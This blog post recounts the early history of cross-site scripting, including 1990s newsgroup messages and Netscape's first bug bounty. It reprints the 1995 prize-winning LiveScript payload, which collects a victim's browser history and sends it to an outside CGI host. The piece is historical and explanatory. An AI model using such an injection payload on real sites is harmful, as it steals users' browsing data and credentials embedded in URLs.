Primordial cross-site scripting (XSS) exploits

The Hacking Web Apps book covers HTML Injection and cross-site scripting (XSS) in Chapter 2. Within the restricted confines of the allotted page count, it describes one of the most pervasive attacks that plagues modern web applications.

Yet XSS is old. Very, very old. Born in the age of acoustic modems barely a Planck Era after the creation of the web browser.

Early descriptions of the attack used terms like “malicious HTML” or “malicious JavaScript” before the phrase “cross-site scripting” became canonized by the OWASP Top 10. While XSS is an easy point of reference, the attack could be more generally called HTML injection because an attack does not have to “cross sites” or rely on JavaScript to be successful. The infamous Samy attack didn’t need to leave the confines of MySpace (nor did it need to access cookies) to effectively DoS the site within 24 hours. And persistent XSS is just as dangerous if an attacker injects an iframe that points to a malware site — no JavaScript required.

Here’s one of the earliest references to the threat of XSS from a message to the comp.sys.acorn.misc newsgroup on June 30, 19961. It mentions only a handful of possible outcomes:

Another ‘application’ of JavaScript is to poke holes in Netscape’s security. To *anyone* using old versions of Netscape before 2.01 (including the beta versions) you can be at risk to malicious Javascript pages which can
a) nick your history
b) nick your email address
c) download malicious files into your cache *and* run them (although you need to be coerced into pressing the button)
d) examine your filetree.

From that message we can go back several months to the announcement of Netscape Navigator 2.0 on September 18, 1995. A month later Netscape created a “Bugs Bounty” starting with its beta release in October. The bounty offered rewards, including a $1,000 first prize, to anyone who discovered and disclosed a security bug within the browser. A few weeks later the results were announced and first prize went to a nascent JavaScript hack.

The winner of the bug hunt, Scott Weston, posted his find to an Aussie newsgroup. This was almost 15 years ago on December 1, 1995 (note that LiveScript was the precursor to JavaScript):

The “LiveScript” that I wrote extracts ALL the history of the current netscape window. By history I mean ALL the pages that you have visited to get to my page, it then generates a string of these and forces the Netscape client to load a URL that is a CGI script with the QUERY_STRING set to the users History. The CGI script then adds this information to a log file.

Scott, faithful to hackerdom tenets, included a pop-culture reference2 in his description of the sensitive data extracted about the unwitting victim:

– the URL to use to get into CD-NOW as Johnny Mnemonic, including username and password.
– The exact search params he used on Lycos (i.e. exactly what he searched for)
– plus any other places he happened to visit.

HTML injection targets insecure web applications. These were examples of how a successful attack could harm the victim rather than how a web site was hacked. Browser security is important to mitigate the impact of such attacks, but a browser’s fundamental purpose is to parse and execute HTML and JavaScript returned by a web application — a dangerous prospect when the page is laced with malicious content inserted by an attacker. The attack is almost indistinguishable from a modern payload. A real attack might only have used a more subtle <img> or <iframe> as opposed to changing the location.href:

<SCRIPT LANGUAGE="LiveScript">
i = 0
yourHistory = ""
while (i < history.length) {
  yourHistory += history[i]
  i++;
  if (i < history.length) yourHistory += "^"
}
location.href = "http://www.tripleg.com.au/cgi-bin/scott/his?"+yourHistory
<!-- hahah here is the hidden script --></i></SCRIPT>

The actual exploit reflected the absurd simplicity typical of XSS attacks. They often require little effort to create, but carry a significant impact. This differs greatly from binary exploits (e.g. heap and buffer overflows) that require days, weeks, or months to develop.

Before closing let’s take a tangential look at the original $1,000 “Bugs Bounty”. Today, the Chromium team offers $500 and $1,3373 rewards for security-related bugs. The Mozilla Foundation offers $500 and a T-Shirt.

On the other hand, you can keep the security bug from the browser developers and earn $10,000 and a laptop for a nice, working exploit.

Come to think of it…those options seem like a superior hourly rate to writing a book. And I cringe at the difference if you compare rates based on word count.

—–
1 Netscape Navigator 3.0 was already available in April of the same year.
2 Good luck tracking down the May 1981 issue of Omni Magazine in which William Gibson‘s short story first appeared!
3 No, the extra $337 isn’t the adjustment for inflation from 1995, which would have made it $1,407.72 according to the Bureau of Labor and Statistics. It’s one of those numbers that, if you have to ask, you risk exposing yourself as a n00b. Don’t ask about that one either.

(Updated links.)
(Updated to refer to the new book and add supporting details for the term “HTML Injection” vs. XSS.)

2 thoughts on “Primordial cross-site scripting (XSS) exploits”

Comments are closed.